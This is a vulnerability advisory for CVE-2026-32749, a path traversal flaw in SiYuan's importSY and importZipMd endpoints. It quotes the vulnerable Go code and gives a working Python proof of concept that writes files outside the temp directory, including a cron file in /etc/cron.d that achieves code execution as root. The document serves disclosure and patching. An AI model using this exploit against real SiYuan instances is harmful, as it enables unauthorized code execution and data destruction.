PT-2026-25824 · Go · Github.Com/Siyuan-Note/Siyuan/Kernel
Published
2026-03-16
·
Updated
2026-03-16
·
CVE-2026-32749
CVSS v3.1
7.6
| Vector | AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:N |
Summary
POST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory — including system paths that enable RCE.Details
File:
kernel/api/import.go — functions importSY and importZipMdfile := files[0] // ❌ file.Filename comes from the HTTP multipart header — fully user-controlled writePath := filepath.Join(util.TempDir, "import", file.Filename) // e.g. TempDir=/siyuan/workspace/temp, file.Filename="../../data/evil" // → writePath = /siyuan/workspace/data/evil (escapes temp/import/) writer, err := os.OpenFile(writePath, os.O RDWR|os.O CREATE, 0644)
importZipMd has a second traversal in unzipPath construction:filenameMain := strings.TrimSuffix(file.Filename, filepath.Ext(file.Filename)) unzipPath := filepath.Join(util.TempDir, "import", filenameMain) gulu.Zip.Unzip(writePath, unzipPath) // unzipPath also escapes TempDir
filepath.Join calls filepath.Clean internally, but cleaning happens after concatenation — sufficient ../ sequences escape the base directory entirely. The curl tool sanitizes ../ in multipart filenames, so exploitation requires sending the raw HTTP request via Python requests or a custom client.PoC
Environment:
docker run -d --name siyuan -p 6806:6806 -v $(pwd)/workspace:/siyuan/workspace b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
Exploit:
import requests, zipfile, io HOST = "http://localhost:6806" TOKEN = "YOUR ADMIN TOKEN" # from Settings → About → API Token # Create a valid .sy.zip payload buf = io.BytesIO() with zipfile.ZipFile(buf, 'w') as z: z.writestr("TestNB/20240101000000-abcdefg.sy", '{"ID":"20240101000000-abcdefg","Spec":"1","Type":"NodeDocument","Children":[]}') z.writestr("TestNB/.siyuan/sort.json", "{}") buf.seek(0) # Traversal filename — Python requests does NOT sanitize ../ r = requests.post(f"{HOST}/api/import/importSY", headers={"Authorization": f"Token {TOKEN}"}, files={"file": ("../../data/TRAVERSAL PROOF.zip", buf.read(), "application/zip")}, data={"notebook": "YOUR NOTEBOOK ID", "toPath": "/"}) print(r.text) # Returns: {"code":0,"msg":"","data":null} # File was written to /siyuan/workspace/data/TRAVERSAL PROOF.zip
RCE via cron (root container):
cron = b"* * * * * root touch /tmp/RCE CONFIRMED " r = requests.post(f"{HOST}/api/import/importSY", headers={"Authorization": f"Token {TOKEN}"}, files={"file": ("../../../../../etc/cron.d/siyuan poc", cron, "application/zip")}, data={"notebook": "NOTEBOOK ID", "toPath": "/"}) # cron executes on next minute → /tmp/RCE CONFIRMED appears
Confirmed response on v3.6.0:
{"code":0,"msg":"","data":null}Impact
An admin can write arbitrary content to any path writable by the SiYuan process:
- RCE via
(root containers),/etc/cron.d/
, SSH~/.bashrcauthorized keys - Data destruction by overwriting workspace or application files
- In Docker containers running as root (common default), this grants full container compromise
Fix
Path traversal
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Github.Com/Siyuan-Note/Siyuan/Kernel